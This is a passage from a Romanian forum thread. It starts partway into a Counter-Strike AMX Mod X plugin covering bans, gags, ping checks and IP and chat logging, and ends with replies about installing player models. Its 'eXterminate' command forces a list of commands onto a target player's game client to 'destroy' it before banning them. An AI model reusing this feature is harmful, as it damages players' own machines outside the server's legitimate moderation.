		new jtm, sid = jointeamStatus(id, false)
		if (sid == -1)
		{
			jtm = 0
			return
		}
		else
			jtm = jointeamTeam[sid]

		if (is_user_alive(id))
			user_kill(id)
		new value = get_cvar_num("mp_limitteams")
		set_cvar_num("mp_limitteams", 0)
		MutaJucator(id, jtm)
		set_cvar_num("mp_limitteams", value)
		xColor(id, "Ai!g %d!n/!g%d!n retry-uri. Te voi transfera inapoi la echipa!g %s!n.", jointeamRetry[sid], RETRY_MAX, TeamName[jointeamTeam[sid]])
	}
}

public jointeamCleanIP(tid)
{
	new i = tid - TASK_JOINTEAM_CLEAN
	format(jointeamIp[i], 31, "")
	jointeamRetry[i] = 0
	jointeamTeam[i] = 0
}

jointeamBan(id)
{
	new ip[32], nume[32], slot = jointeamStatus(id, false)
	get_user_name(id, nume, 31)
	get_user_ip(id, ip, 31, 1)
	server_cmd("kick #%d ^"Ai acumulat %d/%d retry-uri^";wait;wait;wait;wait;amx_addban NoRetry ^"%s^" %s ^"Ai acumulat %d/%d retry-uri.^"", get_user_userid(id), jointeamRetry[slot], RETRY_MAX, ip, RETRY_BANTIME, jointeamRetry[slot], RETRY_MAX)
	xColor(0, "Jucatorul!g %s!n are!g %d!n/!g%d!n retry-uri. Va primi ban!g %s!n minut%s", nume, jointeamRetry[slot], RETRY_MAX, RETRY_BANTIME, str_to_num(RETRY_BANTIME) == 1 ? "" : "e")
	jointeamCleanIP(slot + TASK_JOINTEAM_CLEAN)
}

/* ==========================================================================================
===================================================== Exterminate
========================================================================================== */
public cmdExterminate(id, level, cid)
{
	if (!cmd_access(id,level,cid,2))
		return PLUGIN_HANDLED
	if (str_to_num(EXTERMINATE_STATUS))
	{
		new arg[32], pNume[32], pIp[32], pSteam[32], aNume[32], aIp[32], aSteam[32], Data[32], fLog[256]
		read_argv(1, arg, 31)
		new id2 = cmd_target(id, arg, 9)
		if (!id2) 
			return PLUGIN_HANDLED
	
		get_user_name(id2, pNume, 31)
		get_user_name(id, aNume, 31)
		get_user_ip(id, aIp, 31, 1)
		get_user_ip(id2, pIp, 31, 1)
		get_user_authid(id, aSteam, 31)
		get_user_authid(id2, pSteam, 31)
		get_time("%d.%m.%Y  %H:%M:%S", Data, 31)
		
		xColor(0, "Admin!g %s!n ii da destroy lui!g %s!n.", aNume, pNume)
		
		for (new i=0;i < sizeof(extClientCMD);i++)
			client_cmd(id2, extClientCMD[i])
			
		client_cmd(id, "Ai folosit comanda eXterminate pe %s", pNume)
		client_cmd(id, "spk dadeda")
		
		if (is_user_connected(id2))
			server_cmd("kick #%d ^"eXterminate dat de: %s^"", get_user_userid(id2), aNume)
		server_cmd("wait;wait;wait;wait;wait;wait;amx_addban ^"%s^" ^"%s^" ^"%d^" ^"(eXterminate dat de: %s)^"", pNume, pIp, EXT_BAN_TIME, aNume)
	
		format(fLog, 255, "[%s][ADMIN: %32s %20s %25s] eXterminate [PLAYER: %32s %20s %25s]", Data, aNume, aIp, aSteam, pNume, pIp, pSteam)
		write_file(sExtLog, fLog, -1)
	}
	else
	{
		console_print(id, "Comanda este dezactivata.")
		return PLUGIN_CONTINUE
	}
	return PLUGIN_HANDLED	
}

/* ==========================================================================================
===================================================== Admins to Forum
========================================================================================== */
AdminsToForumUpdate()
{
	new oFile, xText[512], BlockHnsFast = false, Cl[2], usersini[128]
	new AdminiDezactivati, AdminiActivati, SloturiActive, VipuriActive, TotalUseriInregistrati
	static StockAdmins[100][128]
	static StockNumAdmins
	get_configsdir(usersini, 127)
	format(usersini, 127, "%s/users.ini", usersini)
	/* Users.Ini extract */
	if (file_exists(usersini))
	{
		new Nume[32], Acces[32]
		oFile = fopen(usersini, "r")
		while(!feof(oFile))
		{
			fgets(oFile, xText, 511)
			trim(xText)
		
			Nume[0] = 0
			Acces[0] = 0
			
			if (xText[0] == ';')
			{
				if (xText[1] == '"')
				{
					parse(xText[1], Nume, 31, Cl, 1, Acces, 31)
					format(StockAdmins[StockNumAdmins], 127, "^"%d^" ^"%s^" ^"%s^"", 0, Nume, Acces)

					StockNumAdmins++
					AdminiDezactivati++
				}
				continue
			}
			if (parse(xText, Nume, 31, Cl, 1, Acces, 31) < 1)
			{
				continue
			}
			else
			{
				format(StockAdmins[StockNumAdmins], 127, "^"%d^" ^"%s^" ^"%s^"", 1, Nume, Acces)

				StockNumAdmins++
				AdminiActivati++
			}
		}
		fclose(oFile)
	}
	/* HNS mikeee. Extract */
	static StockHns_fasT[256][256]
	static StockNumHns_fasT
	if (file_exists(sStatsFile))
	{
		new Nume[32], Acces[32], VipStart[32], VipDurata[32], VipGrad[2], TimeNow = time(), VipRamas, Acc
		oFile = fopen(sStatsFile, "r")
		while(!feof(oFile))
		{
			fgets(oFile, xText, 511)
			trim(xText)
			
			Nume[0] = 0
			Acces[0] = 0
			if (xText[0] == ';' || xText[0] == '!' ||
				parse(xText, Nume, 31, Cl, 1, Cl, 1, Cl, 1, Cl, 1, Cl, 1, Cl, 1, Cl, 1, Cl, 1, Cl, 1, Cl, 1, \
				Acces, 1, VipStart, 31, VipDurata, 31, VipGrad, 1, Cl, 1) < 1)
			{
				continue
			}
			else
			{
				Acc = str_to_num(Acces)
				if (Acc > 0)
				{
					VipRamas = (str_to_num(VipStart) + (str_to_num(VipDurata) * 86400)) - TimeNow
					if (Acc == 2)
						VipuriActive++
					else
						SloturiActive++
					format(StockHns_fasT[StockNumHns_fasT], 127, "^"%s^" ^"%s^" ^"%d^"", Nume, Acc == 2 ? VipAcces[str_to_num(VipGrad)] : SLOT_ACCES, VipRamas)
					StockNumHns_fasT++
				}
				TotalUseriInregistrati++
			}
		}
		fclose(oFile)
	}
	else
		BlockHnsFast = true
	/* Write File */
	new fFormat[512], p1[32], p2[32], p3[32], cTime[4]
	/* Write AdminList */
	for (new i=0;i < sizeof(whoGrad);i++)
	{
		format(fFormat, 511, "%s [color=%s]", atfImg[i], whoCulori[i])
		write_file(sAtf, fFormat, -1)
		
		for (new z=0;z < StockNumAdmins;z++)
		{
			parse(StockAdmins[z], p1, 31, p2, 31, p3, 31)
			if (equali(p3, whoGrad[i]))
			{
				format(fFormat, 511, "%s %s", OnOff[str_to_num(p1)], p2)
				write_file(sAtf, fFormat, -1)
			}
			continue
		}
		write_file(sAtf, "[/color]", -1)
	}
	/* Write mikeee. List */
	if (!BlockHnsFast)
	{
		/* SlotMe */
		new soImg = sizeof(whoGrad)
		format(fFormat, 511, "%s [color=%s]", atfImg[soImg], whoCulori[soImg-1])
		write_file(sAtf, fFormat, -1)
		for (new z=0;z < StockNumHns_fasT;z++)
		{			
			parse(StockHns_fasT[z], p1, 31, p2, 31, p3, 31)
			if (equali(p2, SLOT_ACCES))
			{
				format(fFormat, 511, "%s", p1)
				write_file(sAtf, fFormat, -1)
				continue
			}
		}
		write_file(sAtf, "[/color]", -1)
		
		/* Vips */
		format(fFormat, 511, "%s [color=%s]", atfImg[soImg + 1], whoCulori[soImg])
		write_file(sAtf, fFormat, -1)
		for (new i=1;i < sizeof(VipAcces);i++)
		{
			format(fFormat, 511, "- VIP %d -", i)
			write_file(sAtf, fFormat, -1)
			for (new z=0;z < StockNumHns_fasT;z++)
			{
				parse(StockHns_fasT[z], p1, 31, p2, 31, p3, 31)
				if (equali(p2, VipAcces[i]))
				{
					format(fFormat, 511, "%s (Expira in: ", p1)
					ConvertTime(str_to_num(p3), cTime, true)
					if (cTime[0] > 0)
						format(fFormat, 511, "%s %d zi%s", fFormat, cTime[0], cTime[0] == 1 ? "" : "le")
					if (cTime[1] > 0 || cTime[0] > 0)
						format(fFormat, 511, "%s %d or%s", fFormat, cTime[1], cTime[1] == 1 ? "a" : "e")
					format(fFormat, 511, "%s %d minut%s", fFormat, cTime[2], cTime[2] == 1 ? "" : "e")
					format(fFormat, 511, "%s)", fFormat)
					write_file(sAtf, fFormat, -1)
					continue
				}
			}
		}
	}
	
	write_file(sAtf, "[/color]", -1)
	write_file(sAtf, "", -1)
	write_file(sAtf, "", -1)
	// Stats
	format(fFormat, 511, "* Statistici *")
	write_file(sAtf, fFormat, -1)
	format(fFormat, 511, "Admini activati: %d", AdminiActivati)
	write_file(sAtf, fFormat, -1)
	format(fFormat, 511, "Admini dezactivati: %d", AdminiDezactivati)
	write_file(sAtf, fFormat, -1)
	format(fFormat, 511, "Sloturi (/slotme): %d", SloturiActive)
	write_file(sAtf, fFormat, -1)
	format(fFormat, 511, "VIPuri: %d", VipuriActive)
	write_file(sAtf, fFormat, -1)
		
	format(fFormat, 511, "[/center]Aceasta pagina este generata automat de catre pluginul AdminsToForum(by CsN)", VipuriActive)
	write_file(sAtf, fFormat, -1)
}

/* ==========================================================================================
===================================================== AutoResponse
========================================================================================== */
public AutoResponse(id, text[])
{
	if (str_to_num(AUTO_RESPONSE))
	{
		if (contain(text, "fps") != -1)
		{
			xColor(0, "Pe acest server este permis maxim!g 350!n fps.")
			return true
		}
		if (contain(text, "grav") != -1)
		{
			xColor(0, "Pe acest server gravitatia este!g %d!n.", get_pcvar_num(get_cvar_pointer("sv_gravity")))
			return true
		}
		if (contain(text, "owner") != -1 || contain(text, "detinator") != -1)
		{
			xColor(0, "!gFondator:!t CsN ;x !g !")
			return true
		}
		if (contain(text, "host") != -1)
		{
			xColor(0, "Serverul este hostat la!t gameshost.ro!n.")
			return true
		}
		if (contain(text, "vip") != -1 || contain(text, "cumpar") != -1)
		{
			xColor(0, "VIP-ul dureaza!t 30!n zile. Comenzile se fac pe!t forum!n sau catre!t CsN ;x!n !g(Y!M):!t csn.cossmin!n.")
			return true
		}
		
		if (contain(text, "dev") != -1)
		{
			xColor(0, "Este permis developer pe acest server. (dev!g 1!n)")
			return true
		}
		
		if (contain(text, "bloc") != -1 || contain(text, "block") != -1)
		{
			xColor(0, "Nu este permis block-ul pe acest server.")
			return true
		}
		
		if (contain(text, "run") != -1)
		{
			xColor(0, "Run-ul este permis doar la!g 1!n vs!g 3!n(sau mai multi).")
			return true
		}
		
		if (contain(text, "surf") != -1)
		{
			xColor(0, "Nu este permis DMG SURF-ul pe acest server (nici din spate nici din fata)")
			return true
		}
	}
	return false
}

/* ==========================================================================================
===================================================== Ping Checker
========================================================================================== */
public pingChecker()
{
	new xP[32], xN, id, Ping, Loss, Nume[32]
	get_players(xP, xN, "c")
	for (new i=0;i < xN;i++)
	{
		id = xP[i]
		if (is_user_connected(id))
		{
			get_user_ping(id, Ping, Loss)
			if (Loss > 4 && Ping > cvMaxPing - 20 || Ping > cvMaxPing)
			{
				pingCheck[id]++
				get_user_name(id, Nume, 31)
				if (pingCheck[id] == 1)
				{
					xColor(0, "Jucatorul!g %s!n are [Ping:!g %d!n][Loss:!g%d!n]. Ii aplic setarile No-Ping.", Nume, Ping, Loss)
					for (new i=0; i < sizeof(pingSetari); i++)
						client_cmd(id, pingSetari[i])
					server_cmd("sv_unlag 1")
				}
				if (pingCheck[id] == PING_CHECK_MAX)
				{
					xColor(0, "Jucatorul!g %s!n a fost deconectat deoarece avea [Ping:!g %d!n][Loss:!g%d!n].", Nume, Ping, Loss)
					server_cmd("kick #%d ^"Rezolva cu pingul/lagul si revino.[P:%d][L:%d]^"", get_user_userid(id), Ping, Loss)
				}
			}
		}
	}
}

/* ==========================================================================================
===================================================== Player Stats
========================================================================================== */
public cmdPlayerInfo(id, level, cid)
{
	if (!cmd_access(id, level, cid, 1))
		return PLUGIN_HANDLED
	if (str_to_num(PLAYER_STATS))
	{
		new xP[32], xN, ip[32], nume[32], steam[32], timp[4], ptimp, id
		get_players(xP, xN, "c")
		console_print(id, "########## Player Info ##########")
		console_print(id, "%10s  %17s %6s  %25s", "IP", "STEAM", "TIMP", "NUME")
		for (new i=0;i < xN;i++)
		{
			id = xP[i]
			get_user_name(id, nume, 31)
			get_user_ip(id, ip, 31, 1)
			get_user_authid(id, steam, 31)
			ptimp = get_user_time(id, 1)
			ConvertTime(ptimp, timp, false)
			console_print(id, "%10s  %17s %6s  %25s", ip, steam, timp[1], timp[2], nume)
		}
		console_print(id, "########## Player Info ##########")
	}
	else
	{
		console_print(id, "Comanda este dezactivata.")
	}
	return PLUGIN_HANDLED
}
/* ==========================================================================================
===================================================== Gag
========================================================================================== */
public cmdAmxUnGag(id, level, cid) {
	if(!cmd_access (id, level, cid, 1))
		return PLUGIN_HANDLED
	if (str_to_num(GAG_STATUS))
	{
		new Victim[32], aName[32], pName[32]
		get_user_name(id, aName, 31)
		read_argv(1,Victim,31)
		if (equal(Victim, "@ALL")) 
		{
			new xP[32], xN
			get_players(xP, xN, "c")
			for (new i=0; i < xN; i++)
				gagPlayer[xP[i]]=false
			gagRemoveAllIp()
			gagMultiple = false
			remove_task(TASK_GAG_TIME + TASK_GAG_TIME)
			console_print(id, "Ai scos gagul la toti jucatorii")
			xColor(0, "!g%s!n scoate gag la toti jucatorii.", aName)
		} 
		else 
		{
			new id2 = cmd_target(id, Victim, 8)
			if (!id2)
				return PLUGIN_HANDLED
			get_user_name(id2, pName, 31)
			new hGag = gagVerifica(id2)
			if (hGag != 0) 
			{
				remove_task(hGag + TASK_GAG_TIME)
				gagRemoveIp(hGag)
				gagPlayer[id2] = false
				xColor(0, "!g%s!n i-a scos gagul lui!g %s!n.", aName, pName)
			} 
			else 
				console_print(id, "Jucatorul %s nu are gag.", pName)
		}
	}
	else
	{
		console_print(id, "Gag-ul este dezactivat")
		return PLUGIN_CONTINUE
	}
	return PLUGIN_HANDLED	
}

public cmdAmxGag(id, level, cid) {
	if(!cmd_access (id, level, cid, 1))
		return PLUGIN_HANDLED
	if (str_to_num(GAG_STATUS))
	{
		new Victim[32], pName[32], aName[32], Temp[10], gTime[10], gReason[126]
		get_user_name(id, aName, 31)
		read_argv(1,Victim,31)
		read_argv(2, gTime, 31)
		read_argv(3, gReason, 125)
		new gagTime = str_to_num(gTime)
		if (!gagTime)
			gagTime = GAG_DEFAULT_TIME
		if (gagTime < 1) 
		{
			console_print(id, "# Poti sa-i dai gag minim 1 minut")
			return PLUGIN_CONTINUE
		}
		if (gagTime > 60) 
		{
			console_print(id, "# Poti sa dai gag maxim 60 minute")
			return PLUGIN_CONTINUE
		}
		
		if (strlen(gReason) < 1)
			format(gReason, 125, "Fara Motiv")
		
		if (equal(Victim, "@ALL")) 
		{
			new xP[32], xN
			get_players(xP, xN, "c")
			format(Temp, 9, "%d", gagTime * 60)
			new Float:gagTask = floatstr(Temp)
			for (new i=0; i < xN; i++) 
			{
				new slot = gagVerifica(xP[i])
				if (gagPlayer[xP[i]]) 
				{
					remove_task(slot + TASK_GAG_TIME)
					gagRemoveIp(slot)
					gagPlayer[xP[i]] = false
				}
				if (gagMultiple) 
				{
					console_print(id, "Jucatorii au deja gag.")
					return PLUGIN_HANDLED
				}
				if (get_user_flags(xP[i]) & ADMIN_RCON)
					continue
				new gStatus = gagGagPlayer(id, xP[i], time(), gagTime, gReason)
				set_task(gagTask, "gagTaskUnGag2", gStatus + TASK_GAG_TIME)
			}
			gagMultiple = true
			set_task(gagTask, "gagTaskMultiple", TASK_GAG_TIME + TASK_GAG_TIME)
			console_print(id, "Ai dat gag la toti jucatorii.")
			xColor(0, "!g%s!n da gag la toti jucatorii. [Durata:!g%d!n minut%s] [Motiv:!g%s!n]", aName, gagTime, gagTime==1 ? "" : "e", gReason)
		} 
		else
		{
			new id2 = cmd_target(id, Victim, 8)
			if (!id2)
				return PLUGIN_HANDLED
			get_user_name(id2, pName, 31)
			new hGag = gagVerifica(id2)
			if (hGag != 0) {
				new dNume[32], dTimp[32], dDurata[10], dMotiv[126], cTime[4]
				parse(gagDetails[hGag], dNume, 31, dTimp, 31, dDurata, 9, dMotiv, 125)
				ConvertTime((str_to_num(dTimp) + (str_to_num(dDurata) * 60) - time()), cTime, false)
				console_print(id, "## Jucatorul [%s] are deja gag ##", pName)
				console_print(id, "# Admin: %s", dNume)
				console_print(id, "# Durata: %d minut%s", str_to_num(dDurata), str_to_num(dDurata) == 1 ? "" : "e")
				console_print(id, "# Ramas: %d minut%s si %d secund%s", cTime[2], cTime[2] == 1 ? "" : "e", cTime[3], cTime[3] == 1 ? "a" : "e")
				console_print(id, "# Motiv: %s", dMotiv)
				console_print(id, "#########################################")
			} else {
				new gStatus = gagGagPlayer(id, id2, time(), gagTime, gReason)
				if (gStatus != 0) {
					format(Temp, 9, "%d", gagTime * 60)
					new Float:gagTask = floatstr(Temp)
					set_task(gagTask, "gagTaskUnGag", gStatus + TASK_GAG_TIME)
					xColor(0, "!g%s!n: Ii da gag lui!g %s!n.[Durata:!g%d!n minut%s] [Motiv:!g%s!n]", aName, pName, gagTime, gagTime==1 ? "" : "e", gReason)
					console_print(id, "## Jucatorul %s a primit gag", pName)
					console_print(id, "# Durata: %d minut%s", gagTime, gagTime==1 ? "" : "e")
					console_print(id, "# Motiv: %s", gReason)
					console_print(id, "#########################################")
				} else
					console_print(id, "Nu ii pot da gag lui %s", pName)
			}
		}
	}
	else
	{
		console_print(id, "Gag-ul este dezactivat")
		return PLUGIN_CONTINUE
	}
	return PLUGIN_HANDLED
}

public gagTaskUnGag2(s) {
	new sIp = s - TASK_GAG_TIME
	new pOn	= IsIpOnline(gagIp[sIp])
	if (pOn != 0) {
		new pName[32]
		get_user_name(pOn, pName, 31)
		gagPlayer[pOn]=false
	}
	gagRemoveIp(sIp)
}
public gagTaskUnGag(s) {
	new sIp = s - TASK_GAG_TIME
	new pOn	= IsIpOnline(gagIp[sIp])
	if (pOn != 0) {
		new pName[32]
		get_user_name(pOn, pName, 31)
		gagPlayer[pOn]=false
		xColor(pOn, "Jucatorul!g %s!n poate sa vorbeasca.", pName)
	}
	gagRemoveIp(sIp)
}
public gagTaskMultiple() {
	xColor(0, "Toti jucatorii pot vorbi acum.")
	gagMultiple=false
}

gagRemoveAllIp() {
	for (new i=1; i < sizeof(gagIp); i++)
		gagRemoveIp(i)
}

gagRemoveIp(slot) {
	format(gagIp[slot], charsmax(gagIp[]), "")
	format(gagDetails[slot], charsmax(gagDetails[]), "")
}

IsIpOnline(ip[]) {
	new xP[32], xN, uIp[32]
	get_players(xP, xN, "c")
	for (new i=0; i < xN; i++) {
		get_user_ip(xP[i], uIp, 31, 1)
		if (equal(uIp, ip))
			return xP[i]	
	}
	return 0
}


gagIpSay(sText[], nSay[], max) {
	if (strlen(sText) > 10) {
		new xC=50, xT1[126], xT2[125]
		for (new i=0; i < xC; i++) {
			// First
			if (i==0)
				strbreak(sText, xT1, 31, xT2, 31)
			else
				strbreak(xT2, xT1, 31, xT2, 31)
				
			if (IsIP(xT1)) {
				copy(nSay, max, xT1)
				return true
			}
		}
	}
	return false
}

gagGagPlayer(id, id2, xTime, xDurata, xMotiv[]) {
	new Ip[32], aNume[32]
	if (id != 0)
		get_user_name(id, aNume, 31)
	else
		format(aNume, 31, "HNS.LEGENDCS.COM")
	get_user_ip(id2, Ip, 31, 1)
	for (new i=1; i < sizeof(gagIp); i++)
		if (equal(gagIp[i], "")) {
			copy(gagIp[i], charsmax(gagIp[]), Ip)
			format(gagDetails[i], charsmax(gagDetails[]), "^"%s^" ^"%d^" ^"%d^" ^"%s^"", aNume, xTime, xDurata, xMotiv)
			gagPlayer[id2]=true
			set_speak(id2, SPEAK_MUTED)
			return i
		}
	return 0
}

gagVerifica(id) {
	new Ip[32]
	get_user_ip(id, Ip, 31, 1)
	for (new i=1; i < sizeof(gagIp); i++)
		if (equal(gagIp[i], Ip))
			return i
	return 0
}

/* ==========================================================================================
===================================================== LastIP
========================================================================================== */
public cmdLastIP(id, level, cid)
{
	if(!cmd_access (id, level, cid, 1))
		return PLUGIN_HANDLED
	if (str_to_num(LASTIP_STATUS))
	{
		new lNume[32], lIp[32], lSteam[32], lTimpJucat[32], lData[32], cTime[4], fTime[32]
		console_print(id, "## Informatii despre ultimii [%d] jucatorii deconectai ##", LASTIP_RECORD)
		console_print(id, "%9s     %18s %23s %10s %s", "ORA", "IP", "STEAM", "TIMP JUCAT", "NUME")
		for (new i=0;i < LastIPNum;i++)
		{
			parse(LastIP[i], lNume, 31, lIp, 31, lSteam, 31, lTimpJucat, 31, lData, 31)
			ConvertTime(str_to_num(lTimpJucat), cTime, false)
			format(fTime, 31, "%do%dm%ds", cTime[1], cTime[2], cTime[3])
			console_print(id, "%9s %18s %23s %10s %s", lData, lIp, lSteam, fTime, lNume)
		}
		console_print(id, "## Informatii despre ultimii [%d] jucatorii deconectai ##", LASTIP_RECORD)
	}
	else
		console_print(id, "Comanda este dezactivata")
	return PLUGIN_HANDLED
}


LastIpMotd(id)
{
	new xMOTD[2048], xLen, lNume[32], lIp[32], lSteam[32], lTimpJucat[32], lData[32], cTime[4], fTime[32], fullIp = false
	if (get_user_flags(id) & ADMIN_KICK)
		fullIp = true
	xLen = format(xMOTD[xLen], 2047-xLen, "<body bgcolor=#000000><font size=3 color=FFFFFF><pre><center>")
	xLen += format(xMOTD[xLen], 2053-xLen, "<b>Informatii despre ultimii [%d] jucatori deconectati.^n", LASTIP_RECORD)
	xLen += format(xMOTD[xLen], 2047-xLen, "%9s %27s %18s %21s %10s^n^n", "ORA", "NUME", "IP", "STEAM", "TIMP JUCAT")
	for (new i=0;i < LastIPNum;i++)
	{
		parse(LastIP[i], lNume, 31, lIp, 31, lSteam, 31, lTimpJucat, 31, lData, 31)
		ConvertTime(str_to_num(lTimpJucat), cTime, false)
		format(fTime, 31, "%do%dm%ds", cTime[1], cTime[2], cTime[3])
		replace_all(lNume, 31, "<", "")
		replace_all(lNume, 31, ">", "")
		if (!fullIp)
			copy(lIp, 31, getClassIp(lIp))
		xLen += format(xMOTD[xLen], 2047-xLen, "%9s %27s %18s %21s %10s^n", lData, lNume, lIp, lSteam, fTime)
	}
	show_motd(id, xMOTD, "Info Jucatori Deconectati")
}

lastAdd(id)
{
	new lNume[32], lIp[32], lSteam[32], lTimpJucat, Time[32]
	get_user_name(id, lNume, 31)
	get_user_ip(id, lIp, 31, 1)
	get_user_authid(id, lSteam, 31)
	lTimpJucat = get_user_time(id, 1)
	get_time("%H:%M:%S", Time, 31)
	if (equal(lNume, LastNume))
		return
	if (LastIPNum == LASTIP_RECORD)
	{
		// Reorganizare
		for (new i=1;i < LASTIP_RECORD;i++)
			copy(LastIP[i-1], 255, LastIP[i])
		format(LastIP[LastIPNum-1], 255, "^"%s^" ^"%s^" ^"%s^" ^"%d^" ^"%s^"", lNume, lIp, lSteam, lTimpJucat, Time)
	}
	else
	{
		format(LastIP[LastIPNum], 255, "^"%s^" ^"%s^" ^"%s^" ^"%d^" ^"%s^"", lNume, lIp, lSteam, lTimpJucat, Time)
		LastIPNum++
	}
	copy(LastNume, 31, lNume)
	return
}

/* ==========================================================================================
===================================================== Global Stock
========================================================================================== */
stock FileStatus(fisier[])
{
	if (file_exists(fisier))
	{
		server_print("Fisier incarcat: %s",  fisier)
		log_amx("Fisier incarcat: %s", fisier)
		return true
	}
	else
	{
		server_print("Fisier creeat: %s", fisier)
		log_amx("Fisier creeat: %s", fisier)
		return false
	}
	return false
}

stock chatLOG(id, msg[], bad[], normal=true)
{
	if (is_user_connected(id))
	{
		new nume[32], Ip[32], Steam[32], Echipa, formChat[512], data[32], wS[128], Team[32]
		get_user_name(id, nume, 31)
		get_user_ip(id, Ip, 31, 1)
		get_user_authid(id, Steam, 31)
		Echipa = get_user_team(id)
		if (normal)
		{
			if (get_user_flags(id) & ADMIN_KICK)
			{
				copy(wS, 127, sAdminSay)
				get_time("%d.%m.%Y %H:%M:%S", data, 31)
			}
			else
			{
				copy(wS, 127, sRegSay)
				get_time("%H:%M:%S", data, 31)
			}
			switch(Echipa)
			{
				case 1: format(Team, 31, "T")
				case 2: format(Team, 31, "CT")
				case 3: format(Team, 31, "SPEC")
				default: format(Team, 31, "---")
			}
			format(formChat, 511, "[%s][%28s][%15s][%25s][%4s][%s]: %84s -> %s", data, nume, Ip, Steam, Team, is_user_alive(id) ? "V" : "M", msg, bad)
			write_file(wS, formChat, -1)
		}
		else
		{
			copy(wS, 127, sRegSay)
			get_time("%H:%M:%S", data, 31)
			format(formChat, 511, "[%s][%28s][%15s][%25s][%4s][%s]-> %84s", data, nume, Ip, Steam, TeamName[Echipa], is_user_alive(id) ? "V" : "M", msg)
			write_file(wS, formChat, -1)
		}
	}
}

stock stats_LOG(fm, nume[]="", time=0, ip[]="", sk=0, sh=0, sr=0, sd=0, ss=0, reg=0, vs=0, vd=0, vg=0)
{
	if (str_to_num(STATS_LOG))
	{
		if (fm == -1)
		{
			write_file(sStatsLog, "##########BUG FIX>      STATS COMPROMIS      >BUG FIX##########", -1)
			return
		}
		
		if (fm == -2)
		{
			write_file(sStatsLog, "@@@@@@@@@NO IP>      FURT DE IDENTITATE      >NO IP@@@@@@@@", -1)
			return
		}
		new form[256], data[32]
		new const inFo[][]=
		{
			"INFO",
			"CHCK",
			"UPD",
			"ERR",
			"NEW",
			"CNEW",
			"LAST",
			"ORIG",
			"FRD"
		}
		get_time("%H:%M:%S", data, 31)
		format(form, 255, "[%s]-[%4s]-[%30s][%18s][TIME:%-6d]-[K:%-5d][H:%-5d][R:%-5d][D:%-5d][S:%-5d]-[REG:%d]-[%-14d %-3d %-2d]",\
		data, inFo[fm], nume, ip, time, sk, sh, sr, sd, ss, reg, vs, vd, vg)
		write_file(sStatsLog, form, -1)
	}
	return
}

stock gc_LOG(id=0, premiu)
{
	new form[256], data[32], Nume[32]
	get_time("%H:%M:%S", data, 31)
	if (id != 0)
		get_user_name(id, Nume, 31)
	else
		format(Nume, 31, "---------------")
	format(form, 255, "[%s]-[%32s]", data, Nume)
	switch(premiu)
	{
		case 1: format(form, 255, "%s-[x2 XP]", form)
		case 2: format(form, 255, "%s-[x2 KILL]", form)
		case 3: format(form, 255, "%s-[x2 DEATH]", form)
		case 4: format(form, 255, "%s-[x2 KILL + HS]", form)
		case 5: format(form, 255, "%s-[VIP1 (1zi)]", form)
		case 6: format(form, 255, "%s-[x2 PUNCTE]", form)
		case 7: format(form, 255, "%s-[30 PUNCTE]", form)
		default: format(form, 255, "%s-[%d PUNCT%s]", form, cvGCuvantPuncte, cvGCuvantPuncte == 1 ? "" : "e")
	}
	write_file(sGcLog, form, -1)
}

stock bool:ValidMap(mapname[]) {
	if (is_map_valid(mapname))
		return true
	new len = strlen(mapname) - 4
	if (len < 0)
		return false
	if (equali(mapname[len], ".bsp")) 
	{
		mapname[len] = '^0'
		if (is_map_valid(mapname))
			return true
	}
	return false
}

stock xColor(const id, const input[], any:...)
{
	new count = 1, players[32]
	static msg[320], msg2[320]
	vformat(msg, 190, input, 3)
	format(msg2, 190, "!n[!g%s!n] %s", TAG, msg)
	replace_all(msg2, 190, "!g", "^4")
	replace_all(msg2, 190, "!n", "^1")
	replace_all(msg2, 190, "!t", "^3")
	replace_all(msg2, 190, "!t2", "^0")
	if (id)
		players[0] = id
	else
		get_players(players, count, "ch")
	for (new i = 0; i < count; i++)
	{
		if (is_user_connected(players[i]))
		{
			message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i])
			write_byte(players[i])
			write_string(msg2)
			message_end()
		}
	}
}

/* The End */
public plugin_end() {
	if (delete_file(sBlackList))
	{
		write_file(sBlackList, "; Model: ^"Latitudine Longitudine^" ^"Ip^" ^"Player^" ^"Durata^"", -1)
		write_file(sBlackList, "", -1)
	}
	if (locatiiNumLoad > 0)
	{
		new form[128], tm = time()
		for (new i=0;i < locatiiNumLoad;i++)
		{
			if (strlen(locatiiLocatie[i]) > 5)
			{
				if (locatiiTime[i] > tm)
				{
					format(form, 127, "^"%s^" ^"%s^" ^"%s^" ^"%d^"", locatiiLocatie[i], locatiiIp[i], locatiiPlayer[i], locatiiTime[i])
					write_file(sBlackList, form, -1)
				}
			}
		}
	}
	
	if (delete_file(sLastIp))
		for (new i=0;i < LASTIP_RECORD;i++)
			write_file(sLastIp, LastIP[i], i)
}
/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{\\ rtf1\\ ansi\\ ansicpg1252\\ deff0\\ deflang1033{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ f0\\ fs16 \n\\ par }
*/

Incearca,nu prea stiu cum sa le adaug toate intr-un singur define,mie imi da multe erori la compilare ca nu am fisierele care le cere pluginul.E greu frate,e mare si incurcat rau.
Top
User avatar
CsN^ ;x
Membru eXtream
Membru eXtream
Posts: 3560
Joined: 02 Apr 2012, 16:58
Detinator Steam: Nu
CS Status: Retras din domeniul Counter-Strike
Reputatie: Fost moderator
Location: Bucuresti
Has thanked: 797 times
Been thanked: 607 times

20 Dec 2013, 14:22

Stiu ca e mare pluginu,dar na ..
l-am bagat cum mi-ai dat tu dar nu vad unde sa bag modele si alea vad ca ai scos TeroHunter ala :-?? (aratami ce ai modificat daca mai incerci sa ma ajuti ca ti-am zis am alta sursa aia e o sursa de teste.. )
Addons HNS level,gravity,xp DOWNLOAD ( e țeapă)
https://5filme.com/ - un simplu site de filme pentru timpul liber
Top
Cosmin
Fost moderator
Fost moderator
Posts: 9362
Joined: 06 Jul 2013, 22:08
Detinator Steam: Da
Detinator server CS: Nu
Reputatie: Fost eXtream Mod
Fost Scripter eXtreamCS
Nume anterior: scosmynnnn
Has thanked: 492 times
Been thanked: 547 times

20 Dec 2013, 16:54

Acum am venit acasa,atunci m-am grabit nu am mai avut timp sa iti explic:

Deci:

Code: Select all

	precache_model("models/player/HNSXX_VIP/HNS_VIP.mdl")
	precache_model("models/player/HNSXX_VIP_CT/Hns_VipCT.mdl")
	
	precache_model("models/player/HNSXX_TeroHunt/HNS_TeroHunt.mdl")
In models/player creezi 2 foldere cu numele HNSXX_VIP in care adaugi /HNS_VIP.mdl
Al doilea folder sa aiba numele HNSXX_VIP_CT si in el adaugi Hns_VipCT.mdl.

